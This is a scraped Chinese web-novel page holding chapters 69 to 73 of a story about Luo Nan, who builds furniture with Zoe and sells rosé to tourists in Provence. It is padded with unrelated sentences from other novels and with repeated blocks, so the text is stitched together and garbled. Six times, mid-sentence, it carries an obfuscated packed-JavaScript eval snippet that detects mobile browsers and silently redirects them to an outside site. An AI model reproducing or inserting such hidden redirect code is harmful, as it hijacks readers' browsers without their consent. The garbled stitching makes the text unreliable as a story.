“好了,钱老伯,既然船没有问题,那这些船就交给你们了。我还有其他的事,就不送你们了。”希孟听完钱老汉的话,笑着对他说道。 屋子里的灯还亮着,既没有看到有人进去,也没有看到有人出来。 坤坉以后还要管理大地部落,这个脏活当然是都千劫来做。蓝玉从随身空间里走出来,几下就解决了那些反对的族人。这不是开什么民众大会,这是在征服一个部落,不死人简直是奢望。 他家住的是四楼别墅,是桓玛城里最豪华的住所。但是他的父母平时都很忙,管家是他唯一的陪伴,因为爸妈不让家仆和他说话。 大包在霍德强的身上运行了三十六周,终于再次停在了他的心脏位置。这时候的霍德强已经奄奄一息,头发一缕一缕垂在额前。呼吸也变得十分微弱,细不可闻。 方主任原以为对方会提出什么过分的要求,但这个,并不难,只要他不发话开除谁,让谁降级,就是老师们意见再大,都是无用!这种决定,都必须他这个系领导签字。 五人的手掌叠在一起,大声喊道,“加油!”然后一齐哈哈大声欢笑。 落后身位的许皮带嘴上带着那恭维的笑意,跟随在陈八两身后往外走了出去。 抬头一挺,围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860026|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖围起了半个嘴脸来,如果不是特别相熟的,绝对忍不住她来。 张铁牛笑了起来,杨怜儿这次是在劫难逃他也能松一口气,瞅了瞅那些举着号码牌的人后饶有兴致地低声向张铁山说道。 说着,花和尚一伸手,将那被彭振阳一剑震飞出去老远的紫金钵给收了回来,过去招呼周一阳和白展他们去了。 谁让这人的战斗力虽然比较低,但却是阎罗王极为看重的一人,甚至让自己真有什么事情的话,豁出性命,也要保护他的安全。 在这条街道之上,我们来回走了两次,第一次法阵没有启动,我们只能够感觉到法阵的存在,但是并不知道这些法阵究竟又多大的杀伤力。 李宏宇见状微微一怔,心中顿时有了一种不祥的预感,连忙追了出去,依照朱徽媞的性格以及现在激动的情绪,她可真的会做出这种事情。 “那我出去吸收星力去。”赵前神念归位,说着就从石床上爬起来往外走去。 冷青煜一见却像碰到了鬼一样,身子一闪,躲到了裕亲王妃身后。 魔蛇军团驻地,外围便围住了一道奇险的钢墙,墙面上雕刻着一条条栩栩如生的恶蛇,隐隐间散发出一股森寒的气息。 朱兆眉头一皱,平郎平时沉默寡言,就算是喝多了酒,也从来不说这么多话,今天这究竟是怎么了。 安东尼奥很慷慨的将自己双手上的五颗戒指加上两根手镯以及脖子上的项链赠送给了信刻四人,虽然四人坚持不收,不过还是抵不过安东尼奥的热情。 到底是有什么变化能震惊整个秋海大学呢?那是东方雪莲这座美丽的冰山融化了,变成了一朵火玫瑰,妖‘艳’,奔放,热情似火,见人就微笑的打招呼 第69章 你也是重生的吗? 那之后的两天,罗南每天上午在家干农活,吃过午饭去佐伊家,在她家的‘豪华’工作室里做工作台。 佐伊会在一旁全程指导,同时她也会自己找木材做点什么。 “我会不会耽误你工作?其实你可以去忙自己的事,我有问题去找你。” 佐伊一整个下午都在后院待着,不免会影响她的盘子和杯子制作,罗南对此很担心。 “我每过一段时间就会来做些东西。”佐伊把护目镜摘下,又晃了晃脑袋上的木屑,“木作长时间放下就很难‘拿’起来了。” 罗南不好再说什么,只是好奇的问: “你在做什么?” 佐伊会做的东西比他高级,罗南看了两天依然没看明白她在做什么,只能看出这东西有很多层板。 佐伊拿着直角尺不停比比划划: “一些小玩意。” “好吧。”罗南低头继续他的工作台制作,“你做过床和壁橱吗?” 这两天干下来,罗南清楚的认知到——这个只有一个台面和四条腿的工作台是他的能力极限......这还是在佐伊帮助的前提下。 想要独立做出橱柜和床是不可能的事情。 而系统里的经验值也在一个月前用于升级【烹饪】了,那个时候他每天出去吃吃喝喝,才勉强凑够了500点经验。 农忙季节开始后,罗南根本没时间出去,连去老酒馆喝酒的次数都减少了,一个月下来只存了337点。 现在已是三月底,距离复活节还有不到一个月。 指望【建造】升到4级,自己做时间太过紧张,而且他也不确定【建造】4级一定可以做出床和橱柜...... 佐伊遗憾摇头: “没做过。” 这便是她知道罗南要自己做床和橱柜时,着急的原因所在......她无法给罗南提供什么帮助。 “我只做过桌子、箱子和架子。”佐伊谨慎的说,“虽然没做过,但我知道那很难,尤其我们没有机械工具。” 佐伊和罗南一样,都是‘业余’爱好者,以纯手工工具为主。 她之所以会有这个爱好,就是迷恋于享受慢慢工作和使用手工工具带来的快乐。 罗南直起身子,颇为遗憾的说: “那好吧......” 佐伊都没做过,那确实没什么希望了。 “过几天我去阿维尼翁看看。”罗南的语气并没有低落下去,继续刨木材,“但我依然需要这个工作台,说不定我以后会成为一个不错的木匠呢?” 佐伊很开心罗南没有被打倒,她笑着转身找工具: “优秀的木匠还需要一些摆放工具的架子。” “那确实。”罗南撇了撇嘴。 佐伊的目光在墙上的工具间来回移动: “架子应该能和工作台一起做好。” “啊?”罗南诧异的看过去。 佐伊找到了需要的工具,转身继续工作: “我看不得你把工具放地上。” “你在帮我做工具架?”罗南的心情复杂得不得了,似乎有几十种情绪在同一时间爆发出来,纠缠到了一起。 佐伊头都不抬的摆了摆手,示意他快干活吧,这没什么。 罗南看了她一会,也低下头去继续工作,不过嘴角勾起了抑制不住的笑容。 “又对我这么好......” 【和有好感的异性一起工作幸福度增加10点】 罗南手里的刨子差点飞出去。 ...... 可能是被系统点明了心意,产生了心虚的心理。 罗南晚上在路易家吃饭的时候,总觉得每个人都不太对劲。 路易似乎经常用余光看他,难道路易看出来他对佐伊有好感了? 莉娅脸上的笑容格外诡异。 维埃里更是连饭都不好好吃了,一直目光炯炯的盯着罗南看。 他只能闷头狂吃,谁都不敢看。 莉娅突然咳嗽了两声,路易清了清嗓子: “制作桌子的过程还顺利吗?” 路易是看着罗南问的,他知道自己的宝贝女儿不会给他套话的机会。 “很顺利,快做好了。”罗南的刀叉暂时得到了喘息机会。 再有两天左右,他的工作台就可以做好。 佐伊制作的几个工具架也是差不多的进度。 莉娅忍不住皱起眉头。 怎么这么快? 不应该尽量拉长相处的时间......干个一两个月吗? 她给了路易一个眼神,路易再次开口: “工作台很重要,不能马虎,既要保证足够的坚固,又要兼顾实用性,我建议你在下面做几个柜子和抽屉储物,这样拿东西更方便。” 莉娅藏在桌底的拳头挥舞了一下。 路易不愧是靠嘴和脑子吃饭的,这个理由完美! “不需储物了——”罗南偷偷看了一眼佐伊,“佐伊帮我做了工具架。” 莉娅瞥了一眼默默吃饭、‘事不关己’的佐伊。 你怎么回事?! 维埃里加入挽留大军: “ 需不需要把可移动性考虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860027|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去?再安装几个轮子怎么样?” 维埃里不清楚佐伊和罗南的状况。 他只是想让罗南留到周末,这样他可以罗南相处两天。 罗南连忙摆了摆手: “不了不了,能用就可以,我父母要来普罗旺斯过复活节,我需要做些迎接他们的准备,没时间做复杂的东西了。” 佐伊侧头看向罗南。 罗南从未跟她说起过这件事。 路易也有些意外,不过很快热情的说: “需要我们帮什么忙吗?” 罗南感谢了他们的好意: “不需要,我去阿维尼翁买点家具,再准备些日用品就好了。” “你想做的床和橱柜,是给你父母用的?”佐伊忍不住问。 “是的。”罗南平摊双手,“但现在只能去买了。” 莉娅无比满意的感叹: “想让父母用上自己亲手做的东西,真是个懂事又孝顺的孩子啊。” 罗南尴尬的笑了两声。 同时也是个贫穷的孩子。 ...... 第二天下午。 罗南到了佐伊的木作坊,把外套脱下,习惯性的去拿防护工具。 好几次他忘记带这些东西,被佐伊狠狠教育了。 “等下再戴,你先过来。”佐伊阻止罗南的动作。 罗南走过去,发现佐伊面前有两张复杂的图纸。 “这是什么?”罗南压低了身子想看的仔细。 “床和壁橱的图纸。”佐伊低头说道。 罗南惊悚的抬头: “你画的?” 佐伊摇头: “不是,找村里老木匠要的。” 罗南猜到了佐伊这么做的原因。 昨晚莉娅一直围绕‘罗南父母要来普罗旺斯’这个主题聊天。 罗南没好意思说明实情,他们自然而然的把床和壁橱当作儿子送给几个月未见的父母的礼物了。 他很感激佐伊也把这件事放到心上,但他的能力和时间都不允许这样做。 “时间太紧张了,买现成的比较稳妥,而且——”罗南无奈耸肩,“而且我现在还做不了这个。” 图纸上有太多榫卯结构。 佐伊咬住铅笔,淡蓝色的眸子带上一丝期待: “如果我和你一起呢?” 罗南看了她好一会,确定她完全没有开玩笑的意思。 他脑袋里一个荒唐的想法一闪而过——佐伊是不是也有一个重生系统? 那个系统的任务是刷我的好感度?! 第70章 旅行季到来 巅峰圣将的境界,足以与巅峰圣帅一战的实力,这便是残命的一切,这个独孤残剑之徒,腼腆天真的年轻人所拥有的一切。 而调养么,实际上就是吃吃喝喝,睡睡呼呼,再吃吃喝喝,再睡睡呼呼,偶尔安妮爬去空间看看,但是还是很闷呢。 他最后答应会好好考虑,春瑛不太明白他在犹豫,但也没逼得太紧,见天色不早了,便告辞回二叔家了。 朱氏忙双手合十念了一声阿尼陀佛,然后才道“刚刚不才说心诚就好,如今怎么又说出这等话。”朱氏说着,就拉着她继续上香叩拜。 舒绿这款香品中使用的郁金,是牧若飞托人从西南捎回来的礼物。而且见多识广的游王妃告诉她,这是西南边境那边才有的一种黄郁金,产量非常少,近来似乎在市面上都很少见了。 冷慕宸抱着她,“我会让你们付出代价的!”说完话,他大步地走出了卧室,离开了付家的别墅。 日子一天天流走,过了中秋,便是重阳,丫环们身上也添了夹衣,针线房也开始赶制冬天的棉袄了。 一剑之中便蕴含三万六千次震荡,何等恐怖,要知道这并非依靠圣力以及道法,而是单单凭借高超的剑技而已。 春瑛心中起了疑惑二少爷和莲姐……为什么要到这种地方来说话? 陈觉心里不禁好笑,这聊天好像你主动提起的吧,怎么搞得像是我一定要和你聊天一样。回想起一路上,李节对他的试探,陈觉明白,这个山南蛮子,是一定有事要说,或者说有事要求他的。 “这次又是什么?”张谦猛的转头,看到了一个圆溜溜的东西飞了过来,一瞬间就飞到了自己面前。 两个呼吸,艾德猛烈跳动的心脏就不再砰然跃动,体力也恢复了六七成。 楚天好奇看了过去,只见对方身穿精雕的兽皮,而且还毛茸茸的,比红娘子他们的普通兽皮好看多了。 苏芷爱听了,瞬间羞红了脸,呆萌地咬了咬嘴唇,刚才一时情急,竟然说了这么污的话,太丢脸了,她恨不得找个地缝钻进去。 这种不刻意,从内心自然而生的认为,被三殿下觉察到了,并且感谢了他,把他视为特殊的存在。 你不管,我不管。那么坎塔斯这个因为坎塔斯人勤劳勇敢拼搏出来的城市在不断的内耗之中,渐渐的衰弱。 毕竟在叶青的记忆里,这位严厉的姐姐极少对自己说出一般以上的评价。 楚天赶紧蹲下给两人治疗,片刻后两人就好像什么事都没一样恢复。 这里虽然有着不少的观众,但是相对于其他更热门的地点,便有些远远不及,毕竟相比于他这位过气的绯心道馆馆主,代替傲雪华参赛的葬雪社副社长葛生更值得别人期待。 仅凭肉眼看不见领域的覆盖范围,更分不清自己的位置,犹如切换了天地。 修琪琪狠狠的喘了一口气,没有想到金蕊竟然这样凶狠,连自己都不顾了,修琪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860028|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琪此时脑海里想的只有一个,那就是装饰品那边的常观砚,会不会已经气疯了。 如果是普通人,就这三条伤痕,必须药物治疗,最少要十几天才能好。 公司已经单方面和乔芷萱解约,不管她乔芷萱做了什么,都和公司没有任何关系。公司也并不知情她做过的事,公司和网友们一样,希望警察能查出真相,还无辜的人一个公道。 外表古色古香,不是仿古的建筑,就是古建筑,是真正的古代屋子。 关外的马贼提起宁非是又惧又恨,你若乖乖把东西给他,他也愿意放你一条生路。若是不愿破财,结果就是连命都得搭上,死在宁非手里的马贼不知凡几。 毕竟景明城身份不凡,此次宴会可是晚会的形式举行,大家还可以跳舞,唱歌,弹琴。 g的后排布局基本都是定制的,款式不同,元朔给他准备的这一款应该是常规布局。虽然是毛汤姆临时买过来的车辆,但是独立空调,真皮按摩大座椅,大尺寸电视,电磁可变色大型观景天窗等配置还是应有尽有。 “我到底是怎么了?为什么会这么难过?”叶倾城抽着鼻子看着眼前已经昏过去的男人,神智突然清醒了一些。 只要她燃起燃阳之火,就能找到那只巨型鼠的踪迹。希望能通过它,找到巨型鼠的洞穴,然后将它们一网打尽。 当时公孙瓒与袁绍交战,派遣青州刺史田楷占据青州西北部的土地,袁绍亦派数万大军前来争。 第71章 来了个更狠的 复活节还要三周才到,但游客已陆续抵达普罗旺斯,吕贝隆各地纷纷开始组织起各种活动。 这类大大小小的活动会从4月初一直持续到9月底。 罗南所体会的第一个吕贝隆特色活动,是在梅纳村集市里举办的面包大赛。 小广场搭起一个个白色帐篷,吕贝隆山区的很多优秀面包师,带着他们最得意的作品来参赛,热闹非凡。 即使罗南的摊位距离活动区域有几十米距离,依然能闻到空气里的小麦和黄油香气。 “想去看看?”佐伊见罗南时不时往那边张望,笑着问。 “当然,你不想去吗?”罗南是一个爱凑热闹的人。 佐伊查看了一下罗南摊位下的肉余量: “今天应该能提前卖完,你卖完我们去看看。” 她的器具早一天晚一天卖无所谓,罗南的食材卖不完就浪费了。 “好的。”罗南轻快的答应下来,手上的动作加快了几分。 “不对......还有酒呢。”佐伊又看向另一侧。 粉红酒在普罗旺斯并不受重视,整条集市上只有罗南一个人在卖它。 罗南是按杯卖的、还是冰镇过的,不少对粉红酒接受度还不错的女士即使不买吃的,也会来这里买一杯。 这情况随着气温升高、集市上吃的东西增多愈发明显。 第一次出摊时,罗南只卖了5瓶粉红酒。 上周他已经可以卖空10瓶了,这周罗南带了整整20瓶来,现在还剩下一大半。 罗南不以为然的说: “酒好卖,卖不出去我们带走自己喝。” “好卖?”佐伊忍俊不禁道,“整个普罗旺斯只有你觉得粉红酒好卖。” 罗南一边忙手里的锅包肉,一边对路过的一个背登山包的女士吆喝: “女士,要不要来一杯普罗旺斯的特色粉红葡萄酒?我发誓你只有在这里才能喝到最纯正的味道。” 那女士饶有兴趣的看了两眼,对罗南笑了下,并没有停下。 罗南没有气馁,继续对另一个穿着休闲服的年轻女孩吆喝: “小姐,要不要来一杯普罗旺斯的特色粉红葡萄酒?我发誓你只有在这里才能喝到最纯正的味道。” 年轻女孩停了下来,看了看罗南卖的锅包肉,又看了看粉红酒,用蹩脚的法语问: “这些都是普罗旺斯特色?” 罗南给她倒了一点粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860029|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红酒,又给她叉了一小块锅包肉: “锅包肉不是,但粉红酒是,普罗旺斯欢迎来自外地的游客。” 罗南摆了两个多月摊,接触过很多顾客,一眼就能看出哪些是普罗旺斯本地人,哪些是来旅游的。 本地人手里一定会拿着菜篮,或者其他可以装东西的容器,穿着也很随意。 但游客就不一样了,他们有的穿着名牌衣服,有的穿着不属于这个季节的沙滩鞋,最好认的就是那种拿相机的。 那女孩吃了一口肉,又喝了一口酒,和同伴用罗南听不懂的语言说了几句话,站到后面排队去了。 罗南得意的看向佐伊: “粉红酒不被普罗旺斯本地人喜欢,那我就把它卖给外地人。” ...... 那之后,罗南的吆喝声没有停歇。 他用‘普罗旺斯特色’这个卖点,吸引了一个又一个外地游客。 这些外地人觉得这个摊位有趣极了。 一个黄皮肤的人,卖普罗旺斯本地人都不卖的‘特色’,而在他这个极富有‘普罗旺斯特色’的摊位上,还能吃到另外一种不属于普罗旺斯的美食。 还会有比这更复杂和有趣的事情吗? 第72章 粉红的血液 “我出一千万两百万。”一个博物馆的总负责人喊出价钱来,如异军突起。 老龙顿时无语了,情感方面的东西,它也懂得,就像灭世之前的世界,一直是它无法忘怀的一样,自己的亲人被杀,任谁也不能不管。 一想到这里,他的心脏不由得加速跳动起来,大步向前走去,随着距离越来越近,香味和血腥味越来越浓,打斗的声音也越来越近,而就在这个时候,一股巨大从奕的侧身袭来,使得奕一愣,随后运转力量,直接将火球崩碎。 似乎是受到元尘精血的影响,整座灵塔发出轰鸣声,射出一道灵光,将元尘完全笼罩入内。 但此时白莲圣母请的是元尘,她未有释放出莲花之路,显然有考验元尘的意味。 杨戬一直都没有发出过任何声音,即使哪吒感到他的身边哭喊着,杨戬依旧无动于衷。 吴清源从围棋的有争,领悟了人生的无争——中和,达到一个崇高的精神境界。由此看来,以棋炼心,与宗教修行的禅悟有异曲同工之妙。 众人听闻与那霸下棋吐血,皆惊诧与那霸的拼棋精神,一时之间议论纷纷,对与那霸褒贬不一。范昭救活与那霸,与那霸先哭后笑,众人只道千叶千雪已经劝通他了,遂放下心来,却不知千叶千雪另有计谋。 夜黑星明夜,扬州灯亮时。何园,茶厅,诸庄主坐在太师椅上,一边喝茶一边听段麟禀报。 “可是我还是想跟殿下亲自去看看。”林雪瑶完全不同意魔族太子所说的话,以她的性格在没有平安看到莫离平安的从那牢狱中出来,他定然也是不会死心的。 好吧,千反田的话还没有说下去,大家都已经知道了。里志的性格就是这样,偶尔喜欢恶作剧,说话也总是喜欢夸张,还说这是一种艺术。 “兄弟是吧,在这古堡里,我们的确遇到了几个不是我们的人,有的被蝙蝠咬死了,有的被我们杀死了,不过还抓到了几个半死不活的,要不带过来给你认认?”望月若香说完就吩咐一个杀手去带人。 “你们说的对,看来我真的要去检查一下身体了。”折木折木说这句话并不是敷衍,他这次真的是有些担心自己的身体了。 而这两人又提到了赛亚人,难道所谓的剿赛联盟指的就是剿灭赛亚人的联盟? “杂酱丸,为什么我感觉到被魔化的身体好像已经恢复了,而且变得更加轻松,自在?”雅木茶也一下兴奋起来,连声询问。 “笨蛋!你真是太笨了!你说的都是通用语,可老师那个时代,应该是不说通用语的吧?”刺客妹子连忙在旁边提醒道。 “当然啦,我问你,为什么你不许让我们夫妻俩一起永生不死?”布玛叫道。 也就是说刚刚叶昊逼出了自己体内的叶氏血脉,两人脸色瞬间大变,还有人不愿意拥有叶氏王族的血脉。 很多游客,也都认出,这一支队伍,来自国外的王室、贵族旅行团。这一支队伍中,都是王子、公主,还有很多西方大财阀的继承人。 “哎,这个说来话长,改天有空再说吧,先给你个心理准备!”李广贺挥了挥手,不打算继续说下去了,转身要向着会场走去。 前一秒,他正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860030|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在引爆十几枚七级魂导炮弹,想着死也要壮烈地死,死也要拉着周欢一起死。 不少人都捏了把汗,这不是什么大问题,黄成易这个时候跳出来,这就是在质疑环保局,有必要么? 庄十四退后半步、膝盖轻抬,一个标准的高抬腿,击中了高松的下巴,这个七尺男儿瞬间来到了四十尺高的半空中,这是他人生的新高度。 在五月十七日这一天,方闲预约自己只能去的沙市医学会进行医学基础技能、专科基础技能的等级认证时,整个过程无惊无险,没有引起任何任何的波澜。 “有你什么事儿?滚开!”说着一把推开掌柜,噔噔噔追下楼去。 朝廷要是得到了他,皇帝陛下要是得到了他,大明王朝要是得到了他,那大明将会迎来一个怎样的盛世? 肖刚看了眼放箱子的房间,那里有狱卒打手势,意思是可以进来尝试找编号了。 只是当她打开帐篷时,看到的却是衣衫不整的霍挂和王秋儿,一时间都有些愣住了。 面前人转过来的时候,几乎要一览无余,首富在夜里不可抑制地红了脸——那真是一副好身体。 黄俨被一巴掌抽翻在地,急忙低下头不敢开口,眼中却满是怨毒之色。 今天是个特殊的日子,是常盘台学生寮的盛夏祭,一年一度对外开放的日子。 对于韩心,吕光伟此刻已经是真正的把他摆在了自己的团长的位置上。 走廊的外墙上有一扇窗户,窗户正对着外面的胡同,此时窗户是关着的,窗户下的地板上还有几滴水渍。 第73章 普罗旺斯特色 更重要是,达到了命脉境的武者,已经不再需要琉璃战车,可以直接真元化翼,凌空飞行。 在此之前已经很久没有得到过关于未来的预示了,这个世界已经没有了未来,即将被时间长河抹消。 我往西餐厅外面走了出去,没多久,我就感觉到后面有人跟着,我站住,回头看了过去。 虚空大君的大招很简单召唤自己的本体,或是呼唤其他几个虚空大君前来。 当即,王伟他们用两条布索,从闭关崖上百米之高的洞府位置,飘然而下。 那些大兵刚刚从车上下来,站在车的旁边,简直就是活靶子了,这对金木他们来说是一件天大的好事。 她甚至怀疑是井水中被人投毒,可有不少的百姓住在城外,饮的是山泉水。且同一户人家之中,并不是所有人都中毒致死。 “浩哥,我来帮你!”顾铭冲了过来,和我一起对付起楼下的人。 只见那物迎风见涨,一下子化作了一把遮天蔽日的的巨大黑色骨伞。 胡思乱想一会,何盈站起身来。自从大胜之后,她一直处于一种恍惚的兴奋当中。这种兴奋不像往常一样,那么清楚的感觉得到。有时候。何盈常在欢喜之后,心里会涌起一种莫名地怅惘。 赵云一听,心绝大事不妙,常言道伴君如伴虎,就算关系再好,也不行。 心情不好自然要找朋友诉苦,可是苗苗生病了,钟山来不了,所以,晚上陪着他在酒吧里喝闷酒的只有段奕阳了。 “嗡”的一声空气震荡声响起,一股让那男子色变的滔天巨力从林猿的身上散发了出来,这巨力之大,让得空间似都承受不住,空间也跟着扭曲歪斜。 他们虽然在野蛮人部落时,曾听过林猿是驯兽师,但那毕竟只是听过,更何况,林猿的驯兽手段,和他们所了解的驯兽师驯养魔兽的法子,完全不一样,他们如何不好奇? 水泥地板下的臭水沟淤泥垃圾杂乱无章,还有几米远的海水深处的几条趁着夜色出来寻食的鱼类,一切都非常正常完美,完全看不出任何可疑的地方。 从柳菲儿的公寓出来,佟心媛就接到了吴麒的电话,电话中吴麒的声音有些低沉带着几分不悦,直接问她人在哪里。 事情演变到这里众人也清楚了今天将他们叫回来的主要目的到底是什么了,原来是想要向骆含烟一家子拿钱。 于振海淡淡的扫了一眼李成功,却没有说话,只是将目光落到场中的骆含烟,不禁暗自赞叹。 “有,你出来吧,佟心媛有麻烦了。”段励之深深吸了口气,尽量让自己冷静下来。 百里俊雅高声说着的同时。那只手也已经伸了出去了。朝着主仆二人再次打了过去。 兵来将挡水来土掩,高德伟就不相信,在公司里面他梁穆春还敢肆无忌惮? 眼前的青年高大魁梧,大眼浓眉,可惜脸上残存的稚气掩盖了他的威武,埃勒姆斯也不知道“王子”这个称呼是真是假。 “道友误会了,我们是看到道友和我们佛教有缘,这不想……”一个大光头对凌渡宇道,那知道他的话还没有说完,就被凌渡宇给打断了。 不像诸天万界的其他真龙族,只是一个遥远的分支,血脉早就已经变地斑驳不堪。 凌渡宇带着他们来到了山沟边,没有多久就看到有几只野猪在山沟中找吃的。山谷中的积雪不是很多,野猪在这里找吃的很容易。 “知道了,母亲。”帕尔皮拉斯赶紧回应了一声,拉着克里斯的手,乖乖的回到克莉斯托娅身边。 此人佝偻着身子,脸色苍白,时不时的咳嗽声,让人怀疑他随时可能倒地,然后再也醒不过来。 他可以感应的出,黑色球体之中的诅咒之力和鬼域之力无比恐怖,绝对能够威胁到一名大帝境强者。 凌渡宇在这两个和尚走了后,就对胡琳儿道,“你不是想看看天狐血脉化形的嘛,这个胡媚儿就是。”凌渡宇说着拉起了胡媚儿的玉手。 皇帝的这话音刚落下,就又听得有脚步声在往这里靠近,皇帝转身看去,却原来是他的近侍太监找了过来。 “我姓钱,不过你们也可以称呼我阿乐!”交通警摘掉了自己的帽子,额头的汗水一瞬间找到了宣泄口,哗哗流淌下来。 这下,三人没做犹豫,齐齐走到前方的边缘处,又齐齐往下一跳。 真的让唐琦无法想象的是,这个医官竟然用凡人之躯硬生生地接下了兵器,虽然这让他的的左手鲜血飞溅。 母子两个一番谈笑,只觉得这偌大的皇宫都不再冷冰冰了,多了几丝温馨的暖意。 所以,当车轮停下来的时候,她也钻出了车厢,刚抬头便瞧见了遮天蔽日的硕大树冠。 那里有金山银山,有机会他一定搬空,不过不是现在,至少不能当着这些人的面。 当然船上所有人都是如此,在这股力道下,凡人哪有抵抗之力,不过这船只也是法宝,并没有被这一尾巴轰碎,也就是就是不听的晃悠罢了。 也正因为如此,他的行踪被院中休憩的护卫知道,只是五六个呼吸的时间,便有十余人冲到了祭祀的房间内。 更重要是,达到了命脉境的武者,已经不再需要琉璃战车,可以直接真元化翼,凌空飞行。 在此之前已经很久没有得到过关于未来的预示了,这个世界已经没有了未来,即将被时间长河抹消。 我往西餐厅外面走了出去,没多久,我就感觉到后面有人跟着,我站住,回头看了过去。 虚空大君的大招很简单召唤自己的本体,或是呼唤其他几个虚空大君前来。 当即,王伟他们用两条布索,从闭关崖上百米之高的洞府位置,飘然而下。 那些大兵刚刚从车上下来,站在车的旁边,简直就是活靶子了,这对金木他们来说是一件天大的好事。 她甚至怀疑是井水中被人投毒,可有不少的百姓住在城外,饮的是山泉水。且同一户人家之中,并不是所有人都中毒致死。 “浩哥,我来帮你!”顾铭冲了过来,和我一起对付起楼下的人。 只见那物迎风见涨,一下子化作了一把遮天蔽日的的巨大黑色骨伞。 胡思乱想一会,何盈站起身来。自从大胜之后,她一直处于一种恍惚的兴奋当中。这种兴奋不像往常一样,那么清楚的感觉得到。有时候。何盈常在欢喜之后,心里会涌起一种莫名地怅惘。 赵云一听,心绝大事不妙,常言道伴君如伴虎,就算关系再好,也不行。 心情不好自然要找朋友诉苦,可是苗苗生病了,钟山来不了,所以,晚上陪着他在酒吧里喝闷酒的只有段奕阳了。 “嗡”的一声空气震荡声响起,一股让那男子色变的滔天巨力从林猿的身上散发了出来,这巨力之大,让得空间似都承受不住,空间也跟着扭曲歪斜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860031|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们虽然在野蛮人部落时,曾听过林猿是驯兽师,但那毕竟只是听过,更何况,林猿的驯兽手段,和他们所了解的驯兽师驯养魔兽的法子,完全不一样,他们如何不好奇? 水泥地板下的臭水沟淤泥垃圾杂乱无章,还有几米远的海水深处的几条趁着夜色出来寻食的鱼类,一切都非常正常完美,完全看不出任何可疑的地方。 从柳菲儿的公寓出来,佟心媛就接到了吴麒的电话,电话中吴麒的声音有些低沉带着几分不悦,直接问她人在哪里。 事情演变到这里众人也清楚了今天将他们叫回来的主要目的到底是什么了,原来是想要向骆含烟一家子拿钱。 于振海淡淡的扫了一眼李成功,却没有说话,只是将目光落到场中的骆含烟,不禁暗自赞叹。 “有,你出来吧,佟心媛有麻烦了。”段励之深深吸了口气,尽量让自己冷静下来。 百里俊雅高声说着的同时。那只手也已经伸了出去了。朝着主仆二人再次打了过去。 兵来将挡水来土掩,高德伟就不相信,在公司里面他梁穆春还敢肆无忌惮? 眼前的青年高大魁梧,大眼浓眉,可惜脸上残存的稚气掩盖了他的威武,埃勒姆斯也不知道“王子”这个称呼是真是假。 